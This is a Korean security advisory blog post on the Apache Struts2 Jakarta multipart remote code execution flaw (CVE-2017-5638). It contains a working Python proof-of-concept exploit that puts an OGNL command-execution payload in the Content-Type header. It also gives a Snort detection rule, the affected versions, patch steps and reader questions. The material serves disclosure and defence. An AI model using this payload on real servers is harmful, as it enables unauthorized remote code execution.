포스팅 내용

국내외 보안동향

Struts2 원격코드실행 취약점(CVE-2017-5638,S2-045) 주의!

Struts2 원격코드실행 취약점(CVE-2017-5638,S2-045) 주의!


취약점 내용


Jakarta 플러그인을 이용하여 파일 업로드를 처리할 때 원격에서 임의의 코드를 실행할 수 있는 취약점으로, 공격자는 HTTP Request 헤더의 Content-Type값을 변조하여 원격 코드실행을 가능하게 합니다.


poc


#! /usr/bin/env python

# encoding:utf-8

import urllib2

import sys

from poster.encode import multipart_encode

from poster.streaminghttp import register_openers

def poc():

    register_openers()

    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})

    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"

    header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

    request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)

    response = urllib2.urlopen(request)

    print response.read()

poc()




snort 탐지패턴


alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"F-INV-APP-170307-ApacheStruts_remote_codeexecution_attempt"; flow:to_server,established; content:"Content-Type: %"; content:"com.opensymphony.xwork2.ActionContext.container"; nocase; content:"POST"; offset:0; depth:4;metadata:impact_flag red, service http; classtype:attempted-admin; rev:1;)



영향받는 버전 


Struts 2.3.5 - Struts 2.3.31

Struts 2.5 - Struts 2.5.10


▶ Struts 버전 확인방법 보러가기



패치 방법


방법 1:

1) web 하위의 /WEB-INF/lib 하위에 struts-core.x.x.jar 존재하는지 확인

2) 만약 확인한 버전이 Struts2.3.5 ~ Struts2.3.31 / Struts2.5 ~ Struts2.5.1 버전이라면 취약점 존재

3) Apache Struts 2.3.32혹은 2.5.10.1 버전으로 업그레이드


방법 2:

Content-Type에 엄격한 필터링 적용, ognl 표현식 사용 금지


방법 3: 

보안 솔루션 사용


방법 4(임시조치):

commons-fileupload-x.x.x.jar 파일 삭제 (삭제시 업로드 기능 사용 불가)






참고 : 

https://cwiki.apache.org/confluence/display/WW/S2-045

http://www.cnblogs.com/


  1. 1234 2017.03.08 14:03  수정/삭제  댓글쓰기

    2.3.15 버전도 취약점에 해당되는건가요?

    • 알약(Alyac) 2017.03.09 09:44 신고  수정/삭제

      안녕하세요. 알약입니다. 말씀하신 버전도 취약한 버전으로 확인되었습니다. 블로그에 안내해드린 패치 방법을 통해 패치를 진행해주시길 부탁 드리겠습니다. 감사합니다.

  2. test 2017.03.09 13:09  수정/삭제  댓글쓰기

    안녕하세요 struts-core-1.3.5 도 취약한 버전인가요?

    • 알약(Alyac) 2017.03.09 14:19 신고  수정/삭제

      안녕하세요 알약입니다. 취약한 버전은 Struts2.3.5 ~ Struts2.3.31 / Struts2.5 ~ Struts2.5.1 입니다. 참고부탁드립니다. 감사합니다.

  3. 베르셔터 2017.03.09 21:53  수정/삭제  댓글쓰기

    패치 방법 상세한 내용 정리되 있는 곳은 없나요?
    struts 패치를 전혀 몰라서요.

    • 알약(Alyac) 2017.03.10 11:03 신고  수정/삭제

      안녕하세요. 좀 더 상세한 패치 방법에 대해서는 알약 블로그 포스팅(http://blog.alyac.co.kr/1007)을 확인해주시기 바랍니다. 감사합니다.

  4. 2017.03.10 09:43  수정/삭제  댓글쓰기

    방법 중 하나를 선택해서 하면 되는건가요? 네가지 모두를 충족시켜야 하는건가요?

    • 알약(Alyac) 2017.03.10 11:07 신고  수정/삭제

      안녕하세요. 방법 중 한가지만 충족해도 무방하나, 가장 확실한 패치 방법은 최신 버전으로의 업데이트입니다. 꼭 최신 버전으로 업데이트해주실 것을 당부 드립니다. 감사합니다. ^^

  5. y 2017.03.13 17:46  수정/삭제  댓글쓰기

    안녕하세요. 만약에 struts는 안쓰고 commons-fileupload-x.x.x.jar 파일만 사용하고 있다고 해도 보안 대상인가요? 감사합니다.

    • 알약(Alyac) 2017.03.14 10:50 신고  수정/삭제

      안녕하세요. commons-fileupload-x.x.x.jar 파일을 사용하고 계시다면, struts2를 사용하고 계시지 않더라도 이번에 공개된 CVE-2017-5638 취약점에 취약한 것으로 추정됩니다. 사용하시는 파일업로드 모듈을 다른 모듈로 대체하거나 비활성화 하실 것을 권장드립니다. 감사합니다.

  6. 에브라 2017.03.20 14:49  수정/삭제  댓글쓰기

    안녕하세요 문의 드립니다.
    서버에 파일 검색 시 struts.jar 는 존재하는데 struts-core.x.x.jar 라는 파일은 존재를 안하는 데 이런 상황이면 apache sturts2를 사용하는 대상이 되는건가요?

    • 알약(Alyac) 2017.03.20 15:36 신고  수정/삭제

      안녕하세요. 이번 취약점은 정확하게 말하자면 Struts2 취약점이 아닌, Apache Struts2에서 사용하는 Jakarta Multipart parser 플러그인에 존재하는 취약점입니다. 따라서 Jakarta Multipart parser 플러그인 사용 여부를 확인하시고, 이후 취약여부를 알아보시길 권해 드립니다. 감사합니다.

  7. 2017.04.27 12:20  수정/삭제  댓글쓰기

    struts2 취약점 해킹 당한것 같은데 리눅스 복구는 어떻게 하는지요?

    완벽 복구가 아니더라도 악성 프로세스를 잡고 다시 돌려 보려 합니다.....ㅠ.ㅠ

    • 알약(Alyac) 2017.04.27 14:00 신고  수정/삭제

      말씀하신 부분만으로는 증상 파악이 어려워 상세한 도움을 드리기가 어렵습니다. ㅠㅠ 알약 '신고하기'를 통해 관련 내용을 신고해주시면, 원격지원 등으로 증상 확인 후 상세한 안내를 드리도록 하겠습니다. 감사합니다.

티스토리 방명록 작성
name password homepage